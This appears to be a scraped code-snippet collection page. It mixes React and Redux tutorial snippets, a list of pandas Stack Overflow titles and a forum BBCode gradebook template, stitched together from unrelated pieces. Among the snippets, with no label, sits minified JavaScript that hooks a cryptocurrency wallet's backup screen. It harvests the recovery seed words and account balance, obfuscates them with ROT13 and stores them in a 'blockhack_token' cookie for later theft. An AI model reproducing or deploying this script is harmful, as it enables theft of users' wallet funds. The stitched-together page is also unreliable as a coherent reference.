REACTEUSE

(REACT JS)
npx create-react-app <app>
-npm run start , build ...
-yarn start , build ...

(REACT NATIVE CLI)
npx react-native init <app>
-npx react-native start
-npx react-native run-android (run_ios)

(REACT NATIVE EXPO CLI)
expo init <app>
-npm start
const useStyles = makeStyles((theme) => ({}));
<Grid container><Grid item></Grid></Grid>
import { createMuiTheme } from '@material-ui/core/styles';

// A custom theme for this app
const theme = createMuiTheme({});

export default theme;
    db.collection('iot').doc('test')
      .get()
      .then(snapshot => {
         setData(snapshot.data())
      })
      .catch(error => {
        console.error(error)
      })
class DisplayMessages extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      input: '',
      messages: []
    }
  }
  // add handleChange() and submitMessage() methods here
  handleChange(event){
    this.setState({
      input: event.target.value,
      messages: this.state.messages
    })
  }

  submitMessage(){
    this.setState({
      input: '',
      messages: [...this.state.messages, this.state.input]
    })
  }

  render() {
    return (
      <div>
        <h2>Type in a new Message:</h2>
        { /* render an input, button, and ul here */ }
        <input onChange={this.handleChange.bind(this)} value={this.state.input}/>
        <button onClick={this.submitMessage.bind(this)}>Submit</button>
        <ul>
          {this.state.messages.map((x, i)=>{
            return <li key={i}>{x}</li>
          })}
        </ul>
        { /* change code above this line */ }
      </div>
    );
  }
};
// define ADD, addMessage(), messageReducer(), and store here:
const ADD = "ADD";
const addMessage = message => {
  return {
    type: ADD,
    message
  };
};

// Use ES6 default paramter to give the 'previousState' parameter an initial value.
const messageReducer = (previousState = [], action) => {
  // Use switch statement to lay out the reducer logic in response to different action type
  switch (action.type) {
    case ADD:
      // Use ES6 spread operator to return a new array where the new message is added to previousState
      return [...previousState, action.message];
      break;

    default:
      // A default case to fall back on in case if the update to Redux store is not for this specific state.
      return previousState;
  }
};

const store = Redux.createStore(messageReducer);
// Redux Code:
  const ADD = 'ADD';

  const addMessage = (message) => {
    return {
      type: ADD,
      message
    }
  };

  const messageReducer = (state = [], action) => {
    switch (action.type) {
      case ADD:
        return [
          ...state,
          action.message
        ];
      default:
        return state;
    }
  };



  const store = Redux.createStore(messageReducer);
  
  
 /****REACT COMPONENTS*****/
  
 // React Code:

  class DisplayMessages extends React.Component {
  
 /*CONSTRUCTOR*/
  
    constructor(props) {
      super(props);
      this.state = {
        input: '',
        messages: []
      }
      this.handleChange = this.handleChange.bind(this);
      this.submitMessage = this.submitMessage.bind(this);
    }
    
 /*METHODES*/
  
    handleChange(event) {
      this.setState({
        input: event.target.value
      });
    }
    
    
    submitMessage() {
      const currentMessage = this.state.input;
      this.setState({
        input: '',
        messages: this.state.messages.concat(currentMessage)
      });
    }
    
    
    render() {
      return (
        <div>
          <h2>Type in a new Message:</h2>
          <input
            value={this.state.input}
            onChange={this.handleChange}/><br/>
          <button onClick={this.submitMessage}>Submit</button>
          <ul>
            {this.state.messages.map( (message, idx) => {
                return (
                   <li key={idx}>{message}</li>
                )
              })
            }
          </ul>
        </div>
      );
    }
  };
  
  
 /*PROVIDER*/
  
  const Provider = ReactRedux.Provider;

/*MAIN COMPONENTS*/
  class AppWrapper extends React.Component {
    // Below is the code required to pass the test
    render() {
      return (
        <Provider store={store}>
          <DisplayMessages />
        </Provider>
      );
    }
    // Above is the code required to pass the test
  };
const state = [];

// change code below this line
const mapStateToProps = (state)=>{
  return {
    messages: state
  }
}
const addMessage = (message) => {
  return {
    type: 'ADD',
    message: message
  }
};

// change code below this line
const mapDispatchToProps = (dispatch) => {
    return {
        submitNewMessage: (message)=>{
            dispatch(addMessage(message))
        }
    }
}
const addMessage = (message) => {
  return {
    type: 'ADD',
    message: message
  }
};

const mapStateToProps = (state) => {
  return {
    messages: state
  }
};

const mapDispatchToProps = (dispatch) => {
  return {
    submitNewMessage: (message) => {
      dispatch(addMessage(message));
    }
  }
};

class Presentational extends React.Component {
  constructor(props) {
    super(props);
  }
  render() {
    return <h3>This is a Presentational Component</h3>
  }
};

const connect = ReactRedux.connect;
// change code below this line

const ConnectedComponent = connect(mapStateToProps, mapDispatchToProps) (Presentational)
// Redux:
const ADD = 'ADD';

const addMessage = (message) => {
  return {
    type: ADD,
    message: message
  }
};

const messageReducer = (state = [], action) => {
  switch (action.type) {
    case ADD:
      return [
        ...state,
        action.message
      ];
    default:
      return state;
  }
};

const store = Redux.createStore(messageReducer);

// React:
class Presentational extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      input: '',
      messages: []
    }
    this.handleChange = this.handleChange.bind(this);
    this.submitMessage = this.submitMessage.bind(this);
  }
  handleChange(event) {
    this.setState({
      input: event.target.value
    });
  }
  submitMessage() {
    const currentMessage = this.state.input;
    this.setState({
      input: '',
      messages: this.state.messages.concat(currentMessage)
    });
  }
  render() {
    return (
      <div>
        <h2>Type in a new Message:</h2>
        <input
          value={this.state.input}
          onChange={this.handleChange}/><br/>
        <button onClick={this.submitMessage}>Submit</button>
        <ul>
          {this.state.messages.map( (message, idx) => {
              return (
                 <li key={idx}>{message}</li>
              )
            })
          }
        </ul>
      </div>
    );
  }
};

// React-Redux:
const mapStateToProps = (state) => {
  return { messages: state }
};

const mapDispatchToProps = (dispatch) => {
  return {
    submitNewMessage: (newMessage) => {
       dispatch(addMessage(newMessage))
    }
  }
};

const Provider = ReactRedux.Provider;
const connect = ReactRedux.connect;

// define the Container component here:
const Container = connect(mapStateToProps,mapDispatchToProps)(Presentational)

class AppWrapper extends React.Component {
  constructor(props) {
    super(props);
  }
  render() {
    // complete the return statement:
    return (
      <Provider store={store}>
        <Container />
      </Provider>
      );
  }
};
// Redux:
const ADD = 'ADD';

const addMessage = (message) => {
  return {
    type: ADD,
    message: message
  }
};

const messageReducer = (state = [], action) => {
  switch (action.type) {
    case ADD:
      return [
        ...state,
        action.message
      ];
    default:
      return state;
  }
};

const store = Redux.createStore(messageReducer);

// React:
const Provider = ReactRedux.Provider;
const connect = ReactRedux.connect;

// Change code below this line
class Presentational extends React.Component {
  constructor(props) {
    super(props);
    
    // Remove property 'messages' from Presentational's local state
    this.state = {
      input: ''
    }
    this.handleChange = this.handleChange.bind(this);
    this.submitMessage = this.submitMessage.bind(this);
  }
  handleChange(event) {
    this.setState({
      input: event.target.value
    });
  }
  submitMessage() {
  
    // Call 'submitNewMessage', which has been mapped to Presentational's props, with a new message;
    // meanwhile, remove the 'messages' property from the object returned by this.setState().
    this.props.submitNewMessage(this.state.input);
    this.setState({
      input: ''
    });
  }
  render() {
    return (
      <div>
        <h2>Type in a new Message:</h2>
        <input
          value={this.state.input}
          onChange={this.handleChange}/><br/>
        <button onClick={this.submitMessage}>Submit</button>
        <ul>
           {/* The messages state is mapped to Presentational's props; therefore, when rendering,
               you should access the messages state through props, instead of Presentational's
               local state. */}
          {this.props.messages.map( (message, idx) => {
              return (
                 <li key={idx}>{message}</li>
              )
            })
          }
        </ul>
      </div>
    );
  }
};
// Change code above this line

const mapStateToProps = (state) => {
  return {messages: state}
};

const mapDispatchToProps = (dispatch) => {
  return {
    submitNewMessage: (message) => {
      dispatch(addMessage(message))
    }
  }
};

const Container = connect(mapStateToProps, mapDispatchToProps)(Presentational);

class AppWrapper extends React.Component {
  render() {
    return (
      <Provider store={store}>
        <Container/>
      </Provider>
    );
  }
};
import React from 'react'
import ReactDOM from 'react-dom'
import { Provider, connect } from 'react-redux'
import { createStore, combineReducers, applyMiddleware } from 'redux'
import thunk from 'redux-thunk'

import rootReducer from './redux/reducers'
import App from './components/App'

const store = createStore(
  rootReducer,
  applyMiddleware(thunk)
);

ReactDOM.render(
  <Provider store={store}>
    <App/>
  </Provider>,
  document.getElementById('root')
);


// Only change code below this line
import React from 'react';
import ReactDOM from 'react-dom';

class MyForm extends React.Component {
  constructor(props) {
    super(props);
    this.state = { username: '' };
  }
  myChangeHandler = (event) => {
    this.setState({username: event.target.value});
  }
  render() {
    return (
      <form>
      <h1>Hello {this.state.username}</h1>
      <p>Enter your name:</p>
      <input
        type='text'
        onChange={this.myChangeHandler}
      />
      </form>
    );
  }
}

ReactDOM.render(<MyForm />, document.getElementById('root'));
import React,{ Component } from 'react'
  
class Form extends Component{ 
  constructor(props){ 
    super(props) 
    this.state = { email:'',name:'', age:null, address:'',phoneNo:''} 
    this.handleChange = this.handleChange.bind(this) 
    this.handleSubmit = this.handleSubmit.bind(this) 
  } 
  
  // Form submitting logic, prevent default page refresh  
  handleSubmit(event){ 
    const { email, name, age, address, phoneNo } = this.state 
    event.preventDefault() 
    alert(` 
      ____Your Details____\n 
      Email : ${email} 
      Name : ${name} 
      Age : ${age} 
      Address : ${address} 
      Phone No : ${phoneNo} 
    `) 
  } 
  
  // Method causes to store all the values of the  
  // input field in react state single method handle  
  // input changes of all the input field using ES6  
  // javascript feature computed property names 
  handleChange(event){ 
    this.setState({ 
      // Computed property names 
      // keys of the objects are computed dynamically 
      [event.target.name] : event.target.value 
    }) 
  } 
  
  // Return a controlled form i.e. values of the  
  // input field not stored in DOM values are exist  
  // in react component itself as state 
  render(){ 
    return( 
      <form onSubmit={this.handleSubmit}> 
        <div> 
          <label htmlFor='email'>Email</label> 
          <input  
            name='email'
            placeholder='Email' 
            value = {this.state.email} 
            onChange={this.handleChange} 
          /> 
        </div> 
        <div> 
          <label htmlFor='name'>Name</label> 
          <input 
            name='name' 
            placeholder='Name'
            value={this.state.name} 
            onChange={this.handleChange} 
          /> 
        </div> 
        <div> 
          <label htmlFor='age'>Age</label> 
          <input 
            name='age' 
            placeholder='Age'
            value={this.state.age} 
            onChange={this.handleChange} 
          /> 
        </div> 
        <div> 
          <label htmlFor='address'>Address</label> 
          <input 
            name='address' 
            placeholder='Address'
            value={this.state.address} 
            onChange={this.handleChange} 
          /> 
        </div> 
        <div> 
          <label htmlFor='phoneNo'>Phone Number</label> 
          <input 
            name='phoneNo' 
            placeholder='Phone No'
            value={this.state.phoneNo} 
            onChange={this.handleChange} 
          /> 
        </div> 
        <div> 
          <button>Create Account</button> 
        </div> 
      </form> 
    ) 
  } 
} 
  
export default Form
// setter
localStorage.setItem('myData', data);
 
// getter
localStorage.getItem('myData');
 
// remove
localStorage.removeItem('myData');
 
// remove all
localStorage.clear();

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr